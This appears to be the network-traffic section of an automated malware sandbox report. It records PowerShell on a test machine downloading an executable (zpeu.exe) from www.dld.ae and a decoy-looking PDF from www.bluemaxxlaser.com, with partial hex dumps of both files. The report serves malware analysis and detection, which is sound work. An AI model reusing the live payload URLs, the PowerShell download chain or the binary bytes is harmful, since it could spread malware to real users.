Jun 1, 2023 12:14:28.145944118 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:28.145972013 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:28.145987034 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:28.145999908 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:28.146023035 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:28.146037102 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:28.168724060 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:28.404694080 CEST	49718	80	192.168.2.5	203.175.174.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:23.440653086 CEST	49724	53	192.168.2.5	8.8.8.8
Jun 1, 2023 12:14:23.476747990 CEST	53	49724	8.8.8.8	192.168.2.5
Jun 1, 2023 12:14:23.483148098 CEST	61452	53	192.168.2.5	8.8.8.8
Jun 1, 2023 12:14:23.512679100 CEST	53	61452	8.8.8.8	192.168.2.5
Jun 1, 2023 12:14:26.558705091 CEST	65323	53	192.168.2.5	8.8.8.8
Jun 1, 2023 12:14:26.617739916 CEST	53	65323	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:23.440653086 CEST	192.168.2.5	8.8.8.8	0xb49e	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:23.483148098 CEST	192.168.2.5	8.8.8.8	0xf23a	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:26.558705091 CEST	192.168.2.5	8.8.8.8	0x12de	Standard query (0)	www.bluemaxxlaser.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:23.476747990 CEST	8.8.8.8	192.168.2.5	0xb49e	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:23.476747990 CEST	8.8.8.8	192.168.2.5	0xb49e	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:23.512679100 CEST	8.8.8.8	192.168.2.5	0xf23a	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:23.512679100 CEST	8.8.8.8	192.168.2.5	0xf23a	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:26.617739916 CEST	8.8.8.8	192.168.2.5	0x12de	No error (0)	www.bluemaxxlaser.com		203.175.174.69	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dld.ae

www.bluemaxxlaser.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49717	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49718	203.175.174.69	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jun 1, 2023 12:14:26.791034937 CEST	441	OUT	GET /rh/List%20of%20required%20items%20and%20services.pdf HTTP/1.1 Host: www.bluemaxxlaser.com Connection: Keep-Alive
Jun 1, 2023 12:14:26.959544897 CEST	442	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:26 GMT Server: Apache Last-Modified: Sun, 28 May 2023 21:58:29 GMT Accept-Ranges: bytes Content-Length: 653248 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 35 33 32 34 38 2f 4f 20 31 33 31 2f 45 20 38 36 34 32 33 2f 4e 20 35 2f 54 20 36 35 32 37 37 30 2f 48 20 5b 20 34 39 37 20 32 37 33 5d 3e 3e 0d 65 6e 64 6f 62 6a 0d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 34 33 20 30 20 6f 62 6a 0d 3c 3c 2f 44 65 63 6f 64 65 50 61 72 6d 73 3c 3c 2f 43 6f 6c 75 6d 6e 73 20 35 2f 50 72 65 64 69 63 74 6f 72 20 31 32 3e 3e 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 44 5b 3c 45 33 39 35 37 36 43 34 37 35 41 42 45 43 34 33 41 31 38 37 42 39 44 37 38 30 43 34 37 35 37 44 3e 3c 36 34 31 43 41 32 38 37 30 33 43 34 42 31 34 34 38 38 36 46 33 34 32 30 32 33 42 33 34 35 33 32 3e 5d 2f 49 6e 64 65 78 5b 31 32 39 20 33 38 5d 2f 49 6e 66 6f 20 31 32 38 20 30 20 52 2f 4c 65 6e 67 74 68 20 38 39 2f 50 72 65 76 20 36 35 32 37 37 31 2f 52 6f 6f 74 20 31 33 30 20 30 20 52 2f 53 69 7a 65 20 31 36 37 2f 54 79 70 65 2f 58 52 65 66 2f 57 5b 31 20 33 20 31 5d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 62 64 60 10 60 60 62 60 60 fe 04 22 19 3a 40 24 53 19 58 c4 06 44 1a 1d 05 8b 27 82 c8 6e 03 b0 6c 1b 88 64 ac 00 8b c7 02 49 46 77 66 b0 78 2d 88 d4 bb 02 24 ff 1f 34 66 60 02 9a 2c 08 56 c3 c0 38 00 e4 7f 06 c6 9c 37 40 f2 3f 3f 03 40 80 01 00 c4 3a 0e 4d 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 73 74 61 72 74 78 72 65 66 0d 0a 30 0d 0a 25 25 45 4f 46 0d 0a 20 20 20 20 20 20 20 0d 0a 31 36 35 20 30 20 6f 62 6a 0d 3c 3c 2f 43 20 31 38 30 2f 45 20 31 36 34 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 20 32 30 32 2f 4c 65 6e 67 74 68 20 31 36 37 2f 4f 20 31 32 36 2f 53 20 37 34 2f 56 20 31 34 32 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 60 60 60 61 60 60 aa 64 60 65 60 48 88 67 10 62 40 00 21 06 66 a0 1c 0b 03 87 8b 03 0b 83 75 76 03 03 67 e0 d2 75 8b 0e 28 3b a4 70 30 f0 1c 32 91 68 e4 e8 40 16 05 ea d0 62 e0 bc b6 1a 48 f3 00 31 2f d8 8c 58 06 01 46 49 a6 fb 86 19 0c 2c 5d 97 19 35 19 a5 19 18 dc 96 31 2a e8 96 0b fe 64 d2 06 ab d0 66 e0 bc 69 0c a4 19 81 a8 12 48 eb 30 70 de 5a 03 e1 33 dd 85 bb 45 9f 81 f3 c9 2f 88 28 43 21 10 eb 32 70 de ed 04 d2 4c 0c 0c ec 85 70 55 46 0c 9c 5f be 43 55 bd 01 08 30 00 be 98 22 2e 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 33 30 20 30 20 6f 62 6a 0d 3c 3c 2f 41 63 72 6f 46 6f 72 6d 20 31 34 34 20 30 20 52 2f 4d 65 74 61 64 61 74 61 20 34 38 20 30 20 52 2f 4e 61 6d 65 73 20 31 34 35 20 30 20 52 2f 4f 75 74 6c 69 6e 65 73 20 31 30 33 20 30 20 52 2f 50 61 67 65 73 20 31 32 37 20 30 20 52 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 31 37 20 30 20 52 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 3e 3e 0d 65 6e 64 6f 62 6a 0d 31 33 31 20 30 20 6f 62 6a 0d 3c 3c 2f 43 6f 6e 74 65 6e 74 73 20 31 33 32 20 30 20 52 2f 43 72 6f 70 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 2e 36 38 5d 2f 47 72 6f 75 70 3c 3c 2f 43 53 2f 44 65 76 69 63 65 52 47 42 2f 53 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 2f 54 79 70 65 2f 47 72 6f 75 70 3e 3e 2f 4d 65 64 69 61 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 Data Ascii: %PDF-1.7%129 0 obj<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>endobj 143 0 obj<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>streamhbbd```b``":@$SXD'nldIFwfx-$4f`,V87@??@:Mendstreamendobjstartxref0%%EOF 165 0 obj<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>streamhb```a``d`e`Hgb@!fuvgu(;p02h@bH1/XFI,]51*dfiH0pZ3E/(C!2pLpUF_CU0".endstreamendobj130 0 obj<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>endobj131 0 obj<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 595.44 841
Jun 1, 2023 12:14:26.959605932 CEST	443	IN	Data Raw: 2e 36 38 5d 2f 50 61 72 65 6e 74 20 31 32 37 20 30 20 52 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 45 78 74 47 53 74 61 74 65 3c 3c 2f 47 53 30 20 31 34 36 20 30 20 52 3e 3e 2f 46 6f 6e 74 3c 3c 2f 43 32 5f 30 20 31 35 31 20 30 20 52 2f 43 32 5f 31 Data Ascii: .68]/Parent 127 0 R/Resources<</ExtGState<</GS0 146 0 R>>/Font<</C2_0 151 0 R/C2_1 153 0 R/C2_2 158 0 R/TT0 161 0 R/TT1 164 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 141 0 R/Im1 142 0 R>>>>/Rotate 0/StructParents 0/Tabs/S/Type/Page>>endob
Jun 1, 2023 12:14:26.959634066 CEST	445	IN	Data Raw: 4e 5a c8 f5 22 96 52 50 da 90 e3 bb 5d 72 b5 4b ed e2 2e 62 75 a8 57 bc e4 52 97 2f 95 20 b9 12 9a e4 a2 e4 5a 44 2e 5d c4 e6 e4 fe ab af 36 4f 1f 7f b1 f9 76 77 fd 3f 32 96 97 ff 92 bf b7 17 5f 6e 9e fe 20 05 7f bc 79 7d fb e6 ea e6 ad 64 ff fa Data Ascii: NZ"RP]rK.buWR/ ZD.]6Ovw?2_n y}dHzf/\|{^>QnVA)kA\|o^_?_7/y?_wrfw'jvo>~w_n^_8kxO_$
Jun 1, 2023 12:14:26.959661961 CEST	446	IN	Data Raw: 98 e3 7b 45 e8 55 49 51 58 fe 21 85 28 f5 64 55 9a b0 b2 d1 be 7e 23 ea 37 64 15 f9 de 22 b1 af 23 ad fb dc 2a 26 42 fb db 8e fb 8b be ce fd 1c 7d 3c d1 3f f6 43 da c5 7b a8 83 b3 30 cf 9c 2c 1a 13 16 40 16 22 b8 7a 6f 76 b3 28 64 9f 9a 22 37 41 Data Ascii: {EUIQX!(dU~#7d"#*&B}<?C{0,@"zov(d"7Ai{fXeN>]}\|%CZl1qKIj"uP1r\|(4[T\|8qM101Kc`9ZW}`b5ETkD A+>6wKo
Jun 1, 2023 12:14:26.959693909 CEST	447	IN	Data Raw: 7c ea fb a7 ae 63 4d 96 38 12 15 26 db 47 d3 ec 40 86 39 f4 44 82 13 f9 54 aa c4 0a c1 84 d6 8e d2 39 3c 53 0b 8e 89 c0 b2 07 ff 96 52 dd a9 44 75 1c bc 05 ba ce a9 f4 e0 d7 2b 93 77 d4 63 30 df c2 1d 90 28 00 7f 24 61 2e 7a 41 bf 41 19 8c 85 7d Data Ascii: \|cM8&G@9DT9<SRDu+wc0($a.zAA}4I=hJ(z6m}FL~dIu,`hF:Wc$gh8OO>UjGA=03^mh!)f#i%^NCjK6&w%d
Jun 1, 2023 12:14:26.959722996 CEST	448	IN	Data Raw: 46 98 0c 20 2f 3d cf e6 0f 88 3e 8c cb 1e 86 8c d9 4a 8d 08 71 4f f9 03 1d 16 9d 8d 7b eb 48 79 1c 7b 62 99 ba bb ff ec 63 e9 14 50 af 1a 88 cf a9 da 8c a4 71 1b 89 89 d2 8a d7 7d f8 b1 34 c2 18 08 f2 58 e4 cf 2a 76 2b 00 d7 39 e8 f4 39 a8 f4 d9 Data Ascii: F /=>JqO{Hy{bcPq}4Xv+99Q,3on bby( &)9l,"/Gf9Awfx8w3l}@/9`LJvU*42TH3t2uPP'E`tayk~14[{a:Od
Jun 1, 2023 12:14:26.959752083 CEST	450	IN	Data Raw: d9 5a 26 e9 5a ea 5b 9f f2 54 d5 b3 20 79 d4 e9 64 02 42 9f 26 0d 68 2f 64 e1 20 b4 0c 48 27 e6 57 63 00 22 a1 1b 3a 31 b0 90 fa a2 8b e6 4b 9c e6 39 4f 83 f1 d0 0a b4 85 e8 ea ab f6 cf 0b 2b f7 d5 fc d2 35 a1 1f b2 a1 ca 04 86 a0 30 73 a9 db 94 Data Ascii: Z&Z[T ydB&h/d H'Wc":1K9O+50sxjhA\|c~OM',/bnB_ D0qNR8\UE9E^}zAox>;1lc/E##,wMrqRb{57/O#\|?Nx#:"Qsxm
Jun 1, 2023 12:14:26.959781885 CEST	451	IN	Data Raw: 5d e4 44 49 b2 f5 43 4f 45 41 72 34 26 17 0d 58 75 b2 dd c7 56 1d 5b 44 b8 02 4a 7c b0 16 20 19 22 04 11 df b2 be ae ae 5b 93 de c0 7f 80 09 74 0c 7f 0e d0 c4 e5 02 3e 13 ea 28 a1 31 b6 b3 84 16 e4 e8 ad 04 9a 98 23 4a 85 c1 1e f4 2e 59 09 ac 45 Data Ascii: ]DICOEAr4&XuV[DJ\| "[t>(1#J.YEl>$GZ!8.=8d+JK(iR1CHRyS1_05YNwkOr1LgRp(AHB]9TJM"U"~qT
Jun 1, 2023 12:14:26.959813118 CEST	453	IN	Data Raw: 2e b7 ae c8 00 8f c8 4a f9 1b b3 0d 5f 51 55 7b 22 91 da ad cc 51 18 1a 61 63 c7 17 36 0a df 9d 9d 2d 58 29 a8 26 76 cc 2b 9c 47 0c a1 05 ae 06 0a 03 82 c4 00 db 85 db 30 12 b1 27 0d c0 db 07 ab 04 85 d0 1e 84 a4 f7 84 c7 70 6c 05 e0 75 01 6d 82 Data Ascii: .J_QU{"Qac6-X)&v+G0'plum.XURY%\.CgxS2'3" Qd2LrC8_#:bhn5,,d00~c=y<6'??-X2+qat+L@l8=I'iwy<q
Jun 1, 2023 12:14:26.959841013 CEST	454	IN	Data Raw: 2d 58 8b 25 d3 a6 94 33 1e cb cc 41 8f 42 03 92 f1 13 4c a5 09 8c 5c b6 21 5c 04 b0 16 47 f4 04 ef 02 f7 13 35 fe 0a f8 a7 84 6b ee f6 1c 81 72 68 12 a7 0a 2a 13 ad fb 5d d4 e6 48 f8 40 07 9a 0d 30 36 e0 2b 3b 33 11 7f 49 63 38 e1 e5 0d 70 f3 c2 Data Ascii: -X%3ABL\!\G5krh*]H@06+;3Ic8p!V X(hFFP6gC5W#6j@NP$RXYa9BWy>@-6NVtZ180 sjzxS4t<F2a:Z$M5&
Jun 1, 2023 12:14:27.127692938 CEST	455	IN	Data Raw: 37 57 fe 55 1b 38 c8 06 71 4b e0 39 24 1b 0c 40 52 49 1f 15 9a 3a e7 24 23 aa 11 e0 e6 00 13 e3 b3 63 3f d0 ab 1b 0e fb 01 8e b3 32 b6 55 67 17 c6 5e c0 54 16 1a 54 b3 6e 77 ec 01 80 8c 9b a7 cd 94 4e d4 aa 70 ec d1 e6 d8 5b dc 47 a8 07 3d b9 d9 Data Ascii: 7WU8qK9$@RI:$#c?2Ug^TTnwNp[G=~YOyb7fE+5IT$0D_%AJu'>q/nNLa!0q#@w4aSDA"/\|KF8lJL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49717	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 10:14:23 UTC	0	OUT	GET /zp/zpeu.exe HTTP/1.1 Host: www.dld.ae Connection: Keep-Alive
2023-06-01 10:14:23 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jun 2023 09:47:42 GMT Accept-Ranges: bytes Content-Length: 344681 Content-Type: application/x-msdownload
2023-06-01 10:14:23 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 27 95 75 59 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 2a 02 00 00 08 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPEL'uYd*
2023-06-01 10:14:23 UTC	8	IN	Data Raw: 40 00 7b 16 40 00 cc 16 40 00 35 17 40 00 5c 17 40 00 6f 17 40 00 0c 19 40 00 0f 19 40 00 41 19 40 00 56 19 40 00 68 19 40 00 ff 19 40 00 30 1a 40 00 72 1a 40 00 b0 1a 40 00 4d 1b 40 00 71 1b 40 00 19 1c 40 00 19 1c 40 00 ed 1c 40 00 0e 1d 40 00 33 1d 40 00 57 1d 40 00 b3 1d 40 00 43 1e 40 00 77 1e 40 00 00 1f 40 00 52 1f 40 00 86 1f 40 00 2b 20 40 00 fe 20 40 00 53 22 40 00 d7 22 40 00 06 23 40 00 48 23 40 00 88 23 40 00 de 23 40 00 7e 24 40 00 f2 24 40 00 5c 25 40 00 70 25 40 00 92 25 40 00 44 26 40 00 e7 27 40 00 1b 28 40 00 35 28 40 00 62 28 40 00 a7 28 40 00 a2 29 40 00 2f 2a 40 00 bf 2a 40 00 bf 2a 40 00 9a 2a 40 00 92 25 40 00 44 26 40 00 dc 1a 40 00 e0 1a 40 00 e4 1a 40 00 e9 1a 40 00 f6 1a 40 00 fa 1a 40 00 fe 1a 40 00 02 1b 40 00 0b 1b 40 00 15 Data Ascii: @{@@5@\@o@@@A@V@h@@0@r@@M@q@@@@@3@W@@C@w@@R@@+ @ @S"@"@#@H#@#@#@~$@$@\%@p%@%@D&@'@(@5(@b(@(@)@/@@@@%@D&@@@@@@@@@@
2023-06-01 10:14:23 UTC	15	IN	Data Raw: 0e 6a 07 e8 bc c9 ff ff 85 c0 75 03 40 eb 02 33 c0 50 6a 00 68 65 04 00 00 ff 75 08 ff d6 33 c0 5e 5d c2 10 00 55 8b ec 81 ec 80 00 00 00 8b 45 14 53 56 8b 75 10 57 6a dc 85 c0 5b 74 0b 0f ac c6 14 c1 e8 14 33 ff eb 4e 6a 14 81 fe 00 00 10 00 59 8b c6 73 06 6a 0a 59 6a dd 5b 81 fe 00 04 00 00 73 05 6a de 33 c9 5b 81 fe 33 33 ff ff 73 0d 33 c0 6a 14 40 5f d3 e0 99 f7 ff 03 c6 8b f0 25 ff ff ff 00 6a 0a 33 d2 8d 04 80 03 c0 d3 e8 d3 ee 59 f7 f1 8b fa 8d 45 c0 6a df 50 e8 85 17 00 00 50 8d 45 80 53 50 e8 7a 17 00 00 50 57 56 68 a0 a3 40 00 ff 75 0c be e8 36 42 00 56 e8 64 17 00 00 56 8b f8 e8 50 17 00 00 8d 04 47 50 ff 15 90 82 40 00 83 c4 18 56 ff 75 08 ff 35 d8 91 42 00 e8 5e 0d 00 00 5f 5e 5b c9 c2 10 00 8b 44 24 0c 33 c9 51 50 ff 74 24 10 ff 74 24 10 e8 Data Ascii: ju@3Pjheu3^]UESVuWj[t3NjYsjYj[sj3[33s3j@_%j3YEjPPESPzPWVh@u6BVdVPGP@Vu5B^_^[D$3QPt$t$
2023-06-01 10:14:23 UTC	23	IN	Data Raw: 00 00 89 45 a8 7d 05 89 55 c8 eb 10 83 7d c8 0a 7d 06 83 6d c8 03 eb 04 83 6d c8 06 39 55 cc 74 1c 8b 45 ec 2b 45 d4 3b 45 8c 72 03 03 45 8c 8b 4d f8 33 db 43 8a 04 08 88 45 a5 eb 68 33 db 43 e9 cd 01 00 00 8b 45 fc 8b 4d c8 c7 45 cc 01 00 00 00 c7 85 7c ff ff ff 07 00 00 00 8d b4 48 80 01 00 00 e9 d3 05 00 00 83 7d 94 00 0f 84 67 07 00 00 8b 4d 90 8b 45 f4 c1 65 f0 08 0f b6 09 ff 4d 94 c1 e0 08 0b c1 ff 45 90 89 45 f4 8b 45 c0 39 45 b8 0f 85 ad 00 00 00 81 fb 00 01 00 00 0f 8d 05 01 00 00 0f b6 45 a5 d0 65 a5 8b 4d a8 c1 e8 07 89 45 b8 40 c1 e0 08 03 c3 8d 34 41 8b 4d f0 c1 e9 0b 66 8b 06 89 75 ac 0f b7 d0 0f af ca 39 4d f4 73 1a 83 65 c0 00 89 4d f0 b9 00 08 00 00 2b ca c1 f9 05 03 c8 03 db 66 89 0e eb 1d 29 4d f0 29 4d f4 66 8b c8 c7 45 c0 01 00 00 00 Data Ascii: E}U}}mm9UtE+E;ErEM3CEh3CEME\|H}gMEeMEEE9EEeME@4AMfu9MseM+f)M)MfE
2023-06-01 10:14:23 UTC	31	IN	Data Raw: 00 69 00 6e 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 61 00 6e 00 64 00 20 00 64 00 61 00 6d 00 61 00 67 00 65 00 64 00 20 00 6d 00 65 00 64 00 69 00 61 00 2e 00 20 00 43 00 6f 00 6e 00 74 00 61 00 63 00 74 00 20 00 74 00 68 00 65 00 0a 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 27 00 73 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 20 00 74 00 6f 00 20 00 6f 00 62 00 74 00 61 00 69 00 6e 00 20 00 61 00 20 00 6e 00 65 00 77 00 20 00 63 00 6f 00 70 00 79 00 2e 00 0a 00 0a 00 4d 00 6f 00 72 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 61 00 74 00 3a 00 0a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6e 00 73 00 69 00 73 00 2e 00 73 00 Data Ascii: incomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.s
2023-06-01 10:14:23 UTC	39	IN	Data Raw: 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 03 13 03 03 Data Ascii:
2023-06-01 10:14:23 UTC	47	IN	Data Raw: ff 8e 52 09 ff 93 59 12 ff 9b 63 1d ff a1 6a 25 ff 9e 69 26 ff 88 54 12 ff 60 31 00 ff 49 26 02 c5 09 09 09 36 03 03 03 17 01 01 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 02 02 11 04 06 09 2f 47 29 05 94 9c 5d 0f ff b8 76 24 ff c9 81 29 ff ce 85 29 ff d2 86 28 ff d1 82 23 ff cf 81 20 ff d1 82 20 ff d3 83 1f ff d5 83 1f ff d5 84 1f ff d8 86 1f ff db 87 1e ff dd 89 22 ff e3 9d 46 ff e5 a0 4c ff e6 a0 4b ff e7 9d 43 ff e1 8c 20 ff c7 86 20 ff b2 8f 39 ff b2 91 3d ff b0 90 3b ff af 90 3b ff b1 92 3b ff b2 93 3b ff b3 94 3c ff b3 94 3a ff b2 94 3a ff b1 94 3b ff b1 91 32 ff af 85 1a ff b1 92 32 ff af 8b 22 ff af 87 18 ff b2 94 30 ff b0 8c 1d ff b6 8a 29 ff b9 8b 3c ff b5 89 2c ff af 8a 16 ff b0 8c Data Ascii: RYcj%i&T`1I&6/G)]v$))(# "FLKC 9=;;;;<::;22"0)<,
2023-06-01 10:14:23 UTC	54	IN	Data Raw: ff 08 73 0f ff 06 71 0d ff 05 70 0c ff 02 6d 0a ff 02 6e 09 ff 01 6f 0a ff 00 70 08 ff 00 6d 05 ff 03 70 0a ff 0e 73 0e ff 18 74 17 ff 27 7c 27 ff 3a 7b 3c ff 77 95 79 ff a1 a5 a2 ff b8 b2 b8 ff b4 b6 b4 ff ac b2 a9 ff a9 a9 99 ff a0 93 71 ff 91 90 74 ff 5d 8a 5d ff 3b 7c 3f ff 0a 6b 0d ff 02 71 0a ff 08 73 11 ff 09 71 10 ff 07 6f 0e ff 08 70 0f ff 09 73 10 ff 0a 70 10 ff 0b 72 10 ff 0b 70 0f ff 18 70 0f ff 2a 6e 0f ff 4f 68 0d ff 98 5e 0b ff a1 58 0a ff 9d 57 0a ff 99 56 09 ff 96 53 09 ff 91 51 09 ff 8d 4e 09 ff 89 4c 08 ff 85 4a 08 ff 81 48 08 ff 81 4a 0d ff 88 54 18 ff 90 5d 23 ff 92 61 29 ff 86 56 1f ff 63 35 04 ff 54 24 00 f9 1c 12 07 59 01 02 03 12 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sqpmnopmpst'\|':{<wyqt]];\|?kqsqopsprpp*nOh^XWVSQNLJHJT]#a)Vc5T$Y
2023-06-01 10:14:23 UTC	62	IN	Data Raw: ff b6 79 35 ff b5 79 33 ff b5 77 32 ff b4 77 31 ff b4 77 31 ff b5 78 31 ff b6 77 31 ff b7 77 31 ff b6 77 31 ff b1 70 29 ff b9 93 6a ff d4 d9 e0 ff c2 c7 c8 ff 98 a5 9a ff a4 98 a4 ff ce c8 cf ff b9 ad bb ff a0 a4 a1 ff 90 89 8f ff a0 78 9a ff 93 71 8f ff 7d 7d 7e ff 8a 5d 7f ff 75 73 76 ff 7e 75 7f ff a6 a6 ab ff c1 c6 c9 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff c1 c5 ca ff a7 ae b2 ff 8b 6f 44 ff 98 72 3c ff 98 73 3e ff 9a 74 3f ff 89 6d 3c ff 2d 52 31 ff 0e 42 28 ff 32 52 3b ff 6f 6c 6f ff 6e 6c 6e ff 6b 6c 6e ff 6f 65 56 ff 81 61 36 ff 73 68 50 ff 6f 6c 5f ff 6b 66 58 ff 6c 6a 61 ff 6d 6b 61 ff 6c 69 60 ff 68 64 5a ff 66 5e 4f ff 67 66 5b ff 60 53 3a ff 6a 51 2f ff 5a 4f 39 ff 97 a4 ad ff c3 c6 ca ff be c2 c6 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff bd c1 Data Ascii: y5y3w2w1w1x1w1w1w1p)jxq}}~]usv~uoDr<s>t?m<-R1B(2R;olonlnklnoeVa6shPol_kfXljamkali`hdZf^Ogf[`S:jQ/ZO9
